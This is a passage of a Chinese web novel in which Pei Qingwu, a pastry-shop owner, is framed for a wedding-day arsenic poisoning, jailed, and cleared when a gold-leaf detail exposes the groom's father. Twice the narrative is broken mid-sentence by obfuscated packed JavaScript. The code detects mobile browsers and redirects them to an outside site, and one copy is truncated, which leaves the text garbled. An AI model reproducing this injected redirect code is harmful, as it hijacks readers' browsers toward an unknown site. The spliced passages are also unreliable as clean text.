“九为数之极，不如取‘长长久久’之意。定九种点心。” “其一，酥皮裹红豆沙，印牡丹花纹，取琴瑟之好。” “其二，糯米裹莲蓉，滚染胭脂红曲粉，唤并蒂同心。” “其三，白酥皮裹枣泥，顶缀金箔，曰金玉良缘。” “其四，双色糯米团子，红豆沙与莲蓉相缠，喻鸾凤和鸣。” “其五，糯米皮裹新鲜果粒，撒糖霜，似瑞雪含珠。” “其六，百合与莲子蒸糕，切菱花形，谓百年好合。” “其七，核桃芝麻酥糖，浇熬化的饴糖包裹，塑成小小合欢果形。” “其八，奶香酥饼，夹薄薄的蜜渍桂花冻，唤蟾宫折桂。” “其九，酥皮层层叠起，内裹流心蛋黄，名花好月圆。” 裴清梧一口气说完，茜桃听得目眩神驰，连忙记下。 接下来几日，酥山小集的后厨更是忙碌。 雕花枣木模子压出细致的牡丹纹，糯米皮染就的胭脂色鲜艳欲滴，金箔小心翼翼地贴上，流心蛋黄蒸得恰到好处，颤巍巍凝在金黄的酥皮里…… 裴清梧亲自把关，务求精工细作。 几日后，那订点心的妇人果然依约而至。 掀开朱漆食盒的盖子，九色点心光华灿烂：大红牡丹娇艳，金玉团子富贵，双色团子和谐，流心蛋黄酥圆润如月…… 妇人看得目不转睛，喜得连连赞叹：“裴娘子好巧的心思！这般精致喜气的点心，老婆子活了大半辈子还是头一遭见，我家新妇看了定欢喜，宴客也体面极了！多谢娘子费心！” 爽快地付清余款后，捧着食盒欢天喜地而去。 转眼到了傍晚，暮鼓初响，坊门将闭，街市行人寥落。 酥山小集刚下钥板，顾恒正收拢门口幌子，忽听不远处一阵喧哗哭嚎，由远及近。 只见白日那喜气洋洋的妇人，此刻披头散发，涕泪横流地被两个粗壮汉子架着，踉跄奔来。 其后，四个家仆模样的人抬着一扇门板，板上赫然躺着一个人，以白布覆盖，只露出一双穿着簇新皂靴的脚。 再后面跟着十来个手持棍棒的健仆，气势汹汹。 “黑心的贼妇！还我儿命来！”那妇人扑到店门口，捶胸顿足，声音凄厉得变了调：“我儿吃了你家的点心，好好一个新郎官，刚拜完堂，就、就吐血倒下了啊！天杀的！你们赔我儿性命！” 门板“哐当”一声重重砸在地上，领头模样的壮汉猛地揭开尸体上的白布一角，露出死者青紫肿胀的脸，嘴唇乌黑，死状可怖。 他指着尸体，对着被惊动而出来的裴清梧等人厉声咆哮：“看清楚了！这是我主家少爷！今日刚用了你家送去的点心，未及洞房便毒发身亡！证据确凿！” “剩下的点心还在此！定是你这铺子用了不洁之物，或是存心害命！今日若不给我家主母一个交代，砸了你这黑店，抓你去见官偿命！” 12. 牢狱之灾 哭嚎声、叫骂声，及棍棒顿地的砰砰作响，瞬间撕裂了黄昏的宁静，引得附近几家尚未完全闭户的邻居也探出头来，惊慌张望，细碎的议论声，如滚沸的水泡一般，在街头巷尾炸开。 裴清梧面色瞬间苍白如纸，指尖冰凉，另一边，茜桃早已吓得面无人色，紧紧攥着她的衣袖，如同寻求庇护的小兔子一般，怯生生地往她身边靠。 眼见那汉子叫骂着，要伸手来抓裴清梧过去，顾恒忙上前一步，护在她身前，生生挨了一下，也只闷哼一声，目光如炬地扫视着来人。 “诸位，还请冷静……”裴清梧声音微颤，听得出是在极力保持着镇定，毕竟，这次与上次不同，是真的闹出人命了：“人命关天，非比寻常，若真是奴家铺中点心所致，自当领罪受罚，绝无二话，然事出蹊跷，岂能凭一面之词，便定是非黑白？宴席上所用菜品不少，如何就断定，一定是我家点心有毒？敢请报官，由官府勘验查问，待水落石出，方为公道！” 那妇人闻言，止了哭泣声，怒道：“你还敢提报官？谁不知道，你这匾额就是赵府君所写，我也是为了这么个名号，才找上门来，即便报了官，赵府君也只会护着你！” 裴清梧蹙眉：“夫人慎言，赵府君为人，秦州城的百姓都是有目共睹，端的清正廉洁，秉公大义，岂是你能在这里红口白牙乱攀扯的？何况如今的情形，不去报官，难不成你们还想动用私刑，在这众目睽睽之下杀了我不成？国朝律法，怎能如此践踏？！” 茜桃也反应了过来，辩道：“眼下事情只由着你们自己胡说，还拦着不叫我们东家报官，难不成，你们心里有鬼？” “胡扯！你没有娘老子教？就这样攀扯，好！不就是见官吗？见就见，今日，我非得还我儿一个公道，哪怕这里不管，我拼却这条命不要，也要到长安都中，圣人面前，告个御状！”那妇人勃然大怒，冲着着地上啐了一口。 银岚一直在旁边冷眼瞧着，趁着机会，附到裴清梧耳边：“东家，这般心肠和反应，恐怕不像是自己做出，而后反咬我们一口的，莫不是，被人陷害了，以此来对付我们？” 裴清梧微微颔首：“很像。” 旁人倒没什么，一听这话，茜桃先红了眼眶，嗫嚅道：“定是因东家为我赎身，带我走时，得罪了许妈妈和崔公子，他们寻到东家报复了……都是我不好，拖累了东家。” 裴清梧还没来得及说什么，只见坊正连同数名身着皂衣的、腰挎横刀的不良①匆匆赶到，领头者是一位面色沉肃的不良帅。 官差已至，场面立刻被控制住，细细听罢原委后，不良帅下令道：“来人，速传仵作验看尸身，另将食盒中剩余点心，与此间后厨所有食材用具，一并封存，带回州府查验，相关人等，皆随我回衙问话。” 月影遍地，桦树婆娑，秦州府衙灯火通明。 衙门的仵作是个不惑之年，须发微白的中年男子，姓杨，名长泽，办事仔细妥帖，本已回家睡下，接了通知，马不停蹄赶回来，水都没来得及喝一口，就去了停尸的地方，查验过后，神色极为凝重，朝着赵珏叉手道：“启禀府君，死者何六郎，口唇乌黑，指甲青紫，七窍有细微血迹，腹内有灼伤，显系信石②中毒之兆。” 此言一出，死者家属更是悲愤欲狂，妇人直哭倒在地，指着裴清梧大骂“蛇蝎毒妇”，若不是衙役们拦着，只怕登时就要扑上来厮打。 赵府君不动声色地看了裴清梧一眼，后者正垂眸深思，暗自攥紧了拳头。 “再把点心和后厨取样带上来，一并验过！” 府衙自由精通毒理的吏员，闻言上前验看，先是拿了银针验过点心，见针身发黑，眉头微蹙，又小心翼翼地揪下来一点，往外间院子地上一扔，不多时便有雀儿飞过，啄了两口之后，双腿一蹬，翻着白花花的肚皮不动了。 以此方法，他将九样点心都验过，但只最初验的“金玉良缘”，含了信石之毒。 堂上一片死寂，裴清梧难以置信地望着地上鸟雀尸体，心直直沉如腹中，仿佛忘记了怎么跳动。 怎，怎么可能呢…… “裴氏，点心出自你手，毒物现于其中，你可还有什么话要说？”赵珏声音冷冽。 霎时间，所有人的目光都聚焦在堂下贵族的裴清梧身上，茜桃和顾恒的心更是提到了嗓子眼，满面忧急。 “使君明鉴！使君真乃青天大老爷，我儿枉死，还请使君为我儿做主！”那妇人哭嚎着拜倒在地，一个劲地磕头，额头触在青砖地上，发出砰砰砰的声音，在抬头时而且也是一片血红，显是用劲很大。 裴清梧脑子转的飞快，她想起了茜桃的话，一下子便猜到了，策划这件事情的人到底是谁？ 旁人总有一个误解，就是位高权重之人，整顿人如同翻手掌一般容易，谈笑间便会将一个人摁到谷底，家破人亡，妻离子散。 可事实是，他们也必须得借助一点程序正义，用看似天衣无缝的构陷达成目的，如《水浒传》中高太尉陷害林冲，又如《红楼梦》中贾赦为了几把扇子，设计坑的石呆子赔上性命。 那么今日自己的遭遇，幕后黑手也便是那位崔公子，以及崔公子的远亲陇右节度使。 想到这里，裴清梧渐渐不慌乱了。 她上前叩首，声音清晰而镇定：“府君在上，妾身裴清梧，有冤情陈诉，此案疑点重重，妾绝非下毒之人，此事另有隐情，还请使君容妾身自辩。” “讲！”赵珏抬手。 “其一，妾身这么做，动机何在？妾身于安业坊开此点心铺子，全赖街坊邻里帮衬，诚信经营，方得薄名，那定点心的夫人，妾身素不相识，无冤无仇，他家郎君新婚大喜，托妾身制作糕点，妾身便精心制作了九样糕点，博长长久久的彩头，唯愿其喜宴圆满，宾客尽欢，此乃锦上添花之事，妾身何来动机自毁根基，行此丧尽天良之举？于情于，截然不通。” 堂上众人闻言，窃窃私语。 确实，一个生意正隆的店家，无缘无故毒杀陌生主顾，实在是匪夷所思。 “其二，妾身制售点心，食材皆采买自西市有行贴③，信誉卓著之商行，每批进货皆有账目可查，亦有商行市券④为凭，所用的米面、饴糖、豆沙、莲子、百合、果脯、干果，乃至胭脂红曲粉，金箔等，绝非寻常可得信石之物，妾身可即刻呈上所有进货凭据，并请传唤供货商行掌柜，坊正及左右邻里团保作证，妾身绝无可能，也不曾购入信石。” 不良帅便立刻派人去取账本凭证，并传唤相关人员。 “其三，也是最要紧之处，点心是何时何处被下的毒，府君请明鉴，妾身制作点心，后厨帮佣连同妾身与婢女，总共不过五人，制作之时，彼此协作，目光交错，如何能在众目睽睽之下，精准地将信石投入某一特定点心之中而不被察觉？即便能，九样点心各有不同，为何偏偏只有‘金玉良缘’有毒？难道下毒之人的未卜先知，知晓新郎定会挑中此样享用？” 裴清梧目光灼灼，条理清晰，最终抛出关键证据：“如何果信石是在点心制成后，交付前投入，最大的可能便是撒在点心表面，然而‘金玉良缘’顶层覆盖金箔，光滑如镜，若有粉末洒于其上，必然极为显眼，亦只会在金箔之上或滚落一旁，岂能融入尽数融入馅心，而验毒结果却在馅心之中，这意味着下毒之人，必定是掀开了金箔，将毒粉仔细撒入或混入内部，再小心复原，如此反复精细之举，在我人来人往的后厨之内悄然进行而不被任何人察觉，绝无可能！” “有什么不可能？！”那妇人朝着她咆哮：“你是铺子的东家，他们都是指着你拿月钱的，你要做什么，难不成他们还会大声嚷嚷出来？！” 裴清梧道：“夫人骤经丧子之痛，悲痛欲绝，清梧理解，只是清梧的清白，也极为重要……再者从点心送过去，到案发，才过去了几个时辰？若我家真有信石，那根本来不及处理，何况我家的炊具，不也什么都没检查出来吗？” 不良帅道：“的确，酥山小集的厨房取样，一切正常，并没含毒。” 还未反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不良帅亦上前一步：“府君，裴氏所言，虽有疑点，然眼下证据链已颇为完整，新郎确系食用酥山小集‘金玉良缘’点心后毒发身亡，仵作验明为信石之毒，该点心经银针法与活物试毒，毒性确凿，而裴氏铺中虽未搜出信石，但在后院发现食毒点心而死的犬只及点心残块，其毒性与新郎所中之毒一致，点心亦为‘金玉良缘’……此三点环环相扣，指向裴氏或其铺中之人投毒嫌疑重大。至于动机，或因生意纠葛，或因私怨，尚需详查，然不足以推翻现有物证。” 气氛凝重如铁，赵珏端坐堂上，心绪纷乱。 他自然不信裴清梧会愚蠢到自绝生路，然而，众目睽睽之下，人证物证俱全，若仅凭裴清梧的推测和疑点而不采取强制措施，不仅难以服众，更会给对方留下更大把柄，指责他包庇纵容。 “裴氏。”思及至此，赵珏道：“你所辩称之疑点，本官已知，然人命关天，证据当前，依照律法，，你有重大嫌疑，必须收押待审，此非定罪，乃为彻查之必要程序。” 说着，他目光扫向不良帅：“将裴清梧暂行收监，严加看管，非本官之令，任何人不得探视！酥山小集即刻查封，铺内所有人员皆带回衙门，分别详细录供，不许串通！杨仵作，再仔细查验新郎尸身、毒点心及死犬，务必找出更多蛛丝马迹，再速派精干人手，查访当日喜宴所有菜品来源、所经手人，以及近日所有进出酥山小集的生面孔，另着人严密监视死者家属，以防不测。” “府君！”茜桃闻言，失声惊呼，泪水夺眶而出，想要扑上前却被衙役拦住。 顾恒也是目眦欲裂，双拳紧握，青筋暴起，却被两个不良人死死按住肩膀。 裴清梧面色惨白如雪，身体微微晃了一下，随即强自站稳。 她知晓赵珏的无奈，也明白对方这一系列环环相扣的构陷，暂时将自己推入了绝境，只能深深吸了一口气，压下翻涌的情绪对着赵珏的方向，缓缓下拜：“妾身遵命，只求府君明察秋毫，还妾身一个清白。” “妾身相信律法，亦相信府君。” “带下去。” 两名皂衣衙役上前，一左一右扶起裴清梧。 说是“扶”，实则有挟制之意，在茜桃悲切的哭喊和顾恒压抑的低吼声中，裴清梧被带离了府衙大堂。 13. 重归清白 夜色像倒扣下来的沉锅，月光都被厚重的云层遮蔽，只透下几丝惨淡的微光。 裴清梧被推搡着，在尘土和霉味中，穿过阴森的长廊，沉重的牢门在身后“哐当”一声关上，铁链哗啦作响。 牢房狭窄而阴暗，只有高处一扇小小的气窗透进一点空气，那也是极浑浊的，墙壁冰冷潮湿，地上铺着薄薄一层发霉的稻草，裴清梧靠着冰冷的石墙滑坐下来，环抱住膝盖，将脸深深埋入臂弯。 外界的喧嚣都被隔绝了，只剩下死一般的寂静。 “崔家……节度使……” 她无声地咀嚼着这两个名字，唇边泛起苦涩的弧度。 对方的手段，远比她预想的更狠绝，不仅利用了人命，更连一条无辜的野狗也成了牺牲品，彻底坐实了她“意图销毁证据”的罪名，堵住了她的辩驳。 好一个天衣无缝的栽赃。 她强迫自己冷静下来，回忆每一个细节。 银岚说的没错，那妇人的悲愤不似作伪，而点心，金箔包裹的点心，毒在馅心而非表面，只有提前混入才有可能。 后厨，只有茜桃和银岚，都是可信的，至于顾恒，更不必说。 那么，是谁？或者是怎么被人钻了空子？ 还有后院那条狗…… 线索丝丝缕缕，在她的脑海中勾勒成形，原本是杂乱的一团，但渐渐地，她似乎也寻摸出了一点关窍。 犹如一位手巧的绣娘，拈针穿线，布料上开始显出花形来。 还有一个关键！ 裴清梧猛地抬头，是那半块点心上的金箔！ 她做“金玉良缘”时，为了美观牢固，金箔边缘会用极细的蜂蜜水黏合，若是仓促间拾起丢弃的点心喂狗，金箔边缘必然松散甚至脱落。 但方才堂上所见，狗嘴里的那半块点心，金箔似乎是异常完好？ 思及至此，她攥紧了拳，指甲深深陷入掌心。 这点微小的异常，在铁证如山的局面下，显得如此微不足道。 赵珏将她收监，既是程序所需，恐怕也是要将她暂时保护起来，避开愤怒的死者家属和外界的风暴中心，好让他有时间暗中操作。 只是，终究是牢狱之灾，这污名若不洗去，她裴清梧的清誉和心血铺子，要被毁于一旦了。 “东家……”牢门外，传来一声压低了的轻唤，是顾恒的声音，他不知用了什么方法，竟能被狱卒放进来探望。 裴清梧立刻起身，扑到牢门栅栏前。 “东家受苦了……”顾恒的声音急切而担忧，他也几乎是扑到栅栏上，目光扫过裴清梧，觉得她看着还好的时候，才松了口气。 “银岚姐和茜桃姐都在录口供，都无碍的，赵府君封锁了铺子，但我们几个的口供都咬死了绝无下毒可能，也说了那死狗点心绝不可能是我们扔的，府君似乎暗中叮嘱了他们仔细查访。” 闻言，裴清梧点了点头，而后压低声音，语速飞快：“阿恒，你听我说，有个细节至关重要——我们‘金玉良缘’的金箔边缘，为了牢固美观，会用蜂蜜水轻轻黏合，若点心是丢弃后被狗偶然叼食，金箔经摔碰，边缘必然松散或卷翘，但堂上那狗嘴里的半块点心，我瞥见上面残留的金箔片，边缘似乎是整齐完好的。” 顾恒倒吸一口冷气：“东家的意思是……” “这绝不可能是偶然叼食！”裴清梧道：“只能说明，那点心是被人精心处理过，甚至是特意完整地喂给狗的！就是为了坐实所谓‘丢弃毒证被狗误食’的假象，你设法将这点告知赵府君，或者他信任的人！” “是，我记下了！这就想办法！”顾恒的声音透着振奋：“东家千万保重，银岚姐已经备了柚子叶，预备东家出来后祛晦气用的。” 说罢，他从斗篷下边，取出一个漆木食盒，显是一直被揣在怀里的：“银岚姐说，恐牢狱中吃食不好，给做了鱼片粥和荞麦烧饼，东家先凑合吃，明日我再想办法为东家送别的。” 接过来的时候，食盒犹触手生温。 就在裴清梧想关怀几句有没有被烫到，已经有狱卒粗嘎的呼唤声传来：“时间够久了，该回去了！” 顾恒也只来得及留下一句：“东家照顾好自己，”便一步三回头地留恋离去。 听着脚步声渐渐消失，裴清梧重新背靠着墙壁滑坐在地，月光艰难地穿透云层和高窗，在她苍白的脸上投下微弱的光斑。 前路艰难，身陷囹圄，但关键的破绽已经抓住。 她必须活下去，必须洗清冤屈。 尽管此时没什么胃口，她还是打开了食盒，从里头取出鱼片粥和荞麦烧饼来。 浓稠莹白的米粥微漾着热气，几片柔嫩的鱼片显然地浮在米粒间，边缘微微卷曲，热气裹挟着米香和鱼香，袅袅升起，撞开了牢狱中令人不适的味道，让她不自觉深吸了一口气，喉头微动。 旁的两块荞麦烧饼，也是金黄微焦，烘烤过的麦香扑面而来，饼面上撒了点点芝麻，透着诱人的油润光泽，掰开来蓬松柔软，一看便是老面精心发酵。 食物的暖香，如同黑暗中悄然亮起的一豆灯火，勾得裴清梧腹中一阵轻鸣，她拿起烧饼，一口咬下，外皮的焦酥与内里的绵软，在齿间碰撞间，使麦香盈满口腔，再舀一勺鱼片粥送入口中，米是鲜甜的，鱼是嫩滑的，暖意从胃部蔓延开来，驱散掉了寒冷。 读高中时，因为学业压力、生物学父亲不给抚养费、同父异母的弟弟找事等种种接踵而来，裴清梧罹患了抑郁症，险些到休学住院的地步，好在最后还是挺过来了。 记得最后一次从心理门诊出来，母亲带她去吃牛肉汤面，专门为她加了一份卤牛肉，薄如蝉翼的牛肉片在汤里泡透了，刚放进嘴里就融化。 “乖乖，不管什么时候，只要人能吃得下饭，一切都会好起来的。” 是的，关关难过关关过，她还能吃得下饭，能撑着自己活，什么都会好的。 赵叙带着仆从进来的时候，看到的，就是裴清梧把荞麦烧饼掰开，泡在鱼片粥里大快朵颐的场景，失笑道：“赵某还以为裴东家在此地受苦，急忙赶来，没想到，裴东家倒是豁达。” 裴清梧抬头，见是他，不以为意地笑了笑：“都这样了，哭天抢地有什么用，还不是得吃饭。” “说的是。”赵叙颔首笑着，从身后仆从手里接过食盒，比顾恒带来的那个精致多了，里头装的也是四样美食，樱桃肉，凤尾鱼翅，葱烧海参，水晶龙凤糕，并一碗冰糖燕窝羹：“原担忧裴东家吃不好，没想到，东家铺子里的小护卫这般机灵，想办法给送了吃食来。” 看着食盒里的珍馐，裴清梧郁闷地想，自己怎么就没多长一个胃呢。 “多谢赵校尉，只是奴家实在吃不下了……” “是啊，真不巧。”赵叙遗憾道：“既然吃食送到了，赵某就再做些别的吧。” 说着，他挥了挥手，随他一起来的仆从便忙碌了起来，有拿出熏香焚上的，清甜沁人的香味霎时盈满鼻腔，有帮裴清梧收拾的，勉强安身的稻草被扫走，换成简易的床铺，压了一床棉被褥的，还有往小桌子上放点心的，酪樱桃、梅花酥、透花糍……还斟了一壶紫苏饮子。 裴清梧看得目瞪口呆，不承想，赵叙又唤了个小丫头来：“红豆，这些日子，你就在这里伺候东家，务必要仔细上心。” 那小丫头恭敬道：“是，谨遵郎君吩咐。” “哎，不是……”裴清梧结巴道：“校尉，这不符合规矩吧……” 哪有人坐牢还有丫鬟伺候的？ “是吗？”赵叙轻笑：“是不合规矩，但不巧，我阿爷是秦州刺史。” 裴清梧嗫嚅了两下嘴唇，无力地干笑了一声。 “东家就暂且安心待着，有道是清者自清，我阿爷自会查明一切，还东家清白，赵某做这些，也是为酬谢东家那日的救命之恩，只是不知东家到底得罪了什么人，竟不惜麻烦，绕这么大一个圈子，也要设此局，陷害东家。” 裴清梧闻言，舌尖顶了顶脸颊，到底还是没说什么：“有利益的地方，就有纷争，说来如犬争食，人也是一样。” 她是对赵使君有好感，觉得他是一个刚正不阿的好官，会杖责刘氏母子，会许她自立女户，还给她写了匾额，于她襄助实多，秦州城里，也多的是敬重爱戴他的百姓，可她也拿不准，赵叙可不可信，以及赵叙会不会帮她。 “裴东家，你是聪明人，赵某不想与你弯弯绕兜圈子，与其让你家小护卫想办法给阿爷递消息，不如直接告诉某，或许东家信不过，但是，除了某，东家又能找到谁呢？” 他言之有理，更何况，对付节度使和那所谓“崔公子”，也只能是靠他了，不然，裴清梧上哪儿去认识另一个显贵去？ 听罢原委后，赵叙蹙眉：“竟是如此，东家放心，某自当尽力。” 说罢，他带着线索离去，直奔府衙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230901|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因着赵叙吩咐，又有红豆在，裴清梧虽身处囹圄，日子也好过了许多，只有高窗外透进的惨淡天光和狱卒偶尔走过的脚步声，提醒着她现实的处境。 时间在焦灼与期盼中缓缓流逝。 不知过了多久，传来铁链与钥匙碰撞的哗啦声传来，由远及近。 牢门被打开，赵珏立在她面前，一身常服，神情肃穆，身后跟着两名皂吏，其中一人正是当时值守公堂，且呈上证物的那位。 “裴东家，委屈你了，案子已查清了。” 裴清梧的心脏猛地一缩，立刻站起身来，屏住了呼吸。 赵珏没有卖关子，直接切入正题：“突破口正如你所言，在那块点心的金箔上，经仵作与证物司仔细查验，狗口中残留的点心金箔边缘异常完整牢固，绝非随意捡拾或摔碰所致，显然是有人刻意保持其原状喂食，以伪造‘拾遗误食’的假象。” 皂吏在一旁补充道：“小人奉使君之命复验证物时，特意刮取金箔边缘少许，确于细微处发现蜂蜜残留，与裴东家铺中伙计所述制作工艺相符，此点，彻底否决了点心是被人丢弃后偶然被狗叼食的可能。” 赵珏点点头，看向裴清梧的目光带着赞许：“此细节微乎其微，若非你心细如发，几被忽略，本府据此重新梳理，重点盘问了死者家中所有接触过点心之人，最终，问到了新郎阿爷纪华。” “起初他咬死不认，然而，金箔完好无损、必是人为喂食的证据摆在他面前，并点明若非他这等亲近之人，绝无可能在旁人不知情的情况下拿到点心去喂狗时，他的防线终于崩溃。” 牢房内的空气仿佛凝固了，裴清梧攥紧了拳头，指甲深深嵌入掌心，等待着最后的答案。 “他招供了，道是三年前，他行走在外时，结识一女子，养在外头，为他诞下一儿一女，原配与儿子在他心中分量渐轻。恰在此时，一位管事模样的人，找上门来，给了他二十两银子，要他趁儿子迎娶新妇时，将剧毒药物混入酥山小集售出的点心馅料中，并许诺事成之后，另有重赏。” 裴清梧倒吸一口凉气，尽管在听到凶手可能是新郎阿爷后，心中有了猜测，但真相的残酷性，仍然让她感到窒息。 “他……为了二十两银子，和一个口头承诺，就毒杀了自己的亲子？嫁祸于我？” 赵珏点头，语气沉重：“正是，信石便是那管事所给，待到事发，他只需引导那野狗去吃点心，便可栽赃于你，以为是天衣无缝，却未曾想到一片小小的金箔，就能揭穿于他。” 真相如同一盆冰冷刺骨的脏水，兜头浇下。 裴清梧半晌说不出话来，脑海里一片混乱，既有沉冤得雪的解脱，更有对凶手纪华的恶心和悲凉。 有了新欢和私生子，再加上二十两银子，亲生父亲竟能如此冷酷地毒杀亲子，再将无辜之人拖入深渊…… “呵……”裴清梧低低地笑了一声：“原来如此，为了新欢，为了旁出的儿女，亲生骨肉便可弃如敝履，竟连野狗都不如了……” 说着，她脑海中不受控制地现代生物学父亲的面孔，结合起来一想，倒也能理解，毕竟，那人宁肯去养和他毫无血缘关系的后妻之女，也不肯给她这个亲生女儿一分抚养费。 原来，太阳底下无新事，这世间某些“父亲”的凉薄，竟如此相似。 裴清梧闭上眼，深深吸了一口气，试图压下心头翻涌的复杂情绪，胃里一阵紧缩，先前吃下的东西仿佛都变成了沉重的石头。 赵珏知道她一时间难以消化，语气缓和了些：“此案人证物证确凿，且纪华已然招供，裴东家，你是清白的，稍后办理文书，即可出狱。铺子也会即刻解封归还于你。” “多谢府君明察秋毫，还奴家清白。”裴清梧勉强一笑，对着赵珏深深一礼。 “不必言谢，此乃本府职责所在。”赵珏摆手：“只是……” 他话锋一转：“此案虽破，背后主使之人却另推了替罪羊，尚未伏法，二十两银子买通一条人命，嫁祸于你，如此轻易便能驱使他人行此恶事，其心可诛，其图非小，裴东家，你日后仍需万分谨慎，此案，恐非终点。” 赵珏的话，如同在刚刚晴朗的天空中又投下了一片巨大的阴云。 “奴家明白。”裴清梧道：“多谢府君提醒。” 赵珏颔首，看着她苍白憔悴却依旧挺直脊梁的身影，眼中闪过一丝欣赏：“好生休息，收拾一下，准备回家吧。” 14. 热闹新年 秦州牢狱门口，顾恒等人一早就知了裴清梧要出狱的消息，守在那里，望眼欲穿。 甫一见她出来，茜桃已是双眼盈泪，不顾犹跟在她身后的狱卒，冲上去扑进她怀中，呜呜地哭，唤了几次东家，却说不出更多的话。 顾恒看着镇定一些，眼里也满是眼泪花子，晶莹剔透地闪烁着，见她笑着安抚茜桃，素手抚摸着后者的头发，觉着茜桃情绪平静了一些，才抬起头来，冲他也笑：“放心，已经没事了。” 自小长在青楼，吃打骂是常事，十三岁那年，老鸨就要逼着顾恒接客，他不愿意，长长的银针便一根一根穿进他的指甲，十指连心，痛得他满地打滚，也憋着不肯流一滴眼泪，却在今日，只见裴清梧柔柔的笑容，便如生啃了一颗酸杏似的，鼻头酸涩，泪珠子止不住地往外冒，眼眶泛着红，强忍着道：“东家受苦了。” “无妨，赵校尉在，也没吃多少苦头，何况不都过去了吗？”裴清梧道：“倒是你们，天寒地冻的，还来接我，好好在家等着便是。” “总要亲眼见东家无恙，我们才放心的。”顾恒拿袖子抹了把泪。 裴清梧无奈地摇了摇头，上前一步，从袖中拿出帕子，细细地替他揩过：“好了，男儿有泪不轻弹，哭成这样像什么？家里一切都好吧？” 她凑过来的时候，晚风送来一股幽香，倏忽钻入他的鼻息，那香极清雅，初闻是沉水香木的温润，另有一丝甘甜，还未等细细辨认，一股清冽的梅花冷韵悄然浮现，是雪后初霁，枝头残留的一点孤芳，其间又隐约缠绕着丁子香的独特微辛，缠绵萦绕，如丝如缕，是不同于以往橘香的陌生。 他当然是明白这香从何而来，毕竟，是他亲眼目睹赵叙送了人进去，他们还打了个照面，后者问了一句：“你就是裴东家的那个小护卫？” 一丝说不清道不明的酸涩猛地蹿上喉头，那香气仿佛化作了无形的束缚，紧紧地勒在他的心尖。 “嗯？怎么了？是家里出事了？”裴清梧不明所以，又问了一句。 顾恒垂下眼，掩去眸中翻涌的苦涩与自卑，只低低了一声：“没有，一切都好的。” 茜桃此时调整好了情绪，过来挽住裴清梧的胳膊：“是，我们没什么事的，使君不曾为难于我们，银岚姐姐早早就备了柚子叶和火盆，就待东家回去，好好地去去晦气。” “好，是该去一去。” 回到小院门口，银岚就在门前候着，她特地换了身石榴红团福喜鹊纹的袄子，喜庆得如同年画娃娃一般，手里攥着一把碧绿的柚子叶，身旁还放了个熊熊燃着的火盆，一见裴清梧回来，当即喜笑盈开地迎上来，行了个万福礼：“东家可算回来了，从这火盆上跨过去，再用这柚子叶扫一扫，就晦气除尽，万事顺意了。” “好，好。”裴清梧笑着任她摆布，提了裙角，从火盆上跨过去。 柚子叶清爽的气息从肩上扫过后，裴清梧的心，仿佛也随着这讨巧的仪式落定，屋子里的灯光是暖黄的，笼罩着她熟悉的陈设，此刻瞧着，却分外喜欢。 正中的矮几早已布置妥当，架了一口陶釜，釜下炭火烧得正旺，咕嘟咕嘟的声音，带着滚热的白气不断翻涌，将浓烈的香气送到每一个角落。 “闻着，可是水盆羊肉？”裴清梧吸了吸鼻子：“真香啊……” “正是呢，牢中阴寒，吃些羊肉正好。”银岚笑道，引着裴清梧坐下。 汤汁呈现出醇厚的乳白色泽，上面漂浮的点点羊油黄金透亮，宛如撒了一层碎金子，切成大块的带皮羊肋排沉浮其间，炖煮得骨肉分离，粉白的羊肉纹理清晰，吸饱了汤汁的精华，几根羊骨筒竖在釜中，脂膏已融入汤底，隐约可见几块党参和黄芪，更衬滋味饱满，鲜香混合着暖意，瞬间勾得腹中馋虫一个劲抬头。 陶釜是主角，围着它琳琅满目地摆开了旁的美食，有刚出炉不久的胡饼，烤得两面金黄焦脆；有新摘的水芹，只用滚水轻焯，拌上陈年的米醋和几滴麻油，碧绿爽脆，清新开胃，正巧解羊肉的肥腴；还有秦州本地特产的豆腐，用草木灰细细腌渍过，再切成厚片，用羊油煎得两面金黄，外皮形成一层脆壳，内里却依旧柔嫩，是为本地名菜，灰培豆腐。 另有两坛三勒浆，是这几年最流行的果酒，以庵摩勒、毗梨勒和诃梨勒三种果实酿制，色泽淡金，酒味清甜微酸，最是解腻助兴。 银岚手脚麻利地盛汤，并为裴清梧挑了块最大最肥美的肋排，又捡了根骨筒：“这羊啊，是小阿恒今日一早就去西市挑的羔羊，骨头都敲开熬了大半日，汤浓肉烂，快尝尝。” 茜桃也忙着给每人分胡饼，热气腾腾的饼子掰开，泡进滚烫雪白的羊汤里，又夹了一大筷子醋芹放在裴清梧的碟中：“东家快吃，这几日在牢里，再怎么也不如在家。” 顾恒则默默地将倒好的三勒浆递给裴清梧，看着她在氤氲的热气中满足地喟叹一声，拿起竹箸，夹起一块羊肉送入口中。 软烂鲜香在舌尖化开，浓郁的汤汁熨帖着肠胃，暖意立刻驱散了身体里最后一丝寒意。 裴清梧的眼睛满足地眯了起来：“嗯……就是这个味！辛苦银岚了，真好吃。” 众人围坐，笑语晏晏。 滚烫的羊肉汤下肚，鲜美的滋味在口中回荡，胡饼的麦香、醋芹的清爽、煎豆腐的焦香和三勒浆的果甜交织在一起。 美食的烟火气与劫后重聚的温情交融，将这小院烘托得暖意融融，彻底洗去了牢狱的阴霾。 银岚甚至将那束柚子叶插在一个小瓶里，放在了桌角。 暖酒入喉，劫后余生的轻松与亲友在侧的温情，让裴清梧连日紧绷的心弦彻底松弛下来。 三勒浆清甜，后劲却足，再加上茜桃和银岚轮番敬酒，喝着喝着，她那白皙的脸颊渐渐染上一层红霞，眼神也蒙上了水润的迷离光泽，话比平日多了些，笑声也愈发清亮。 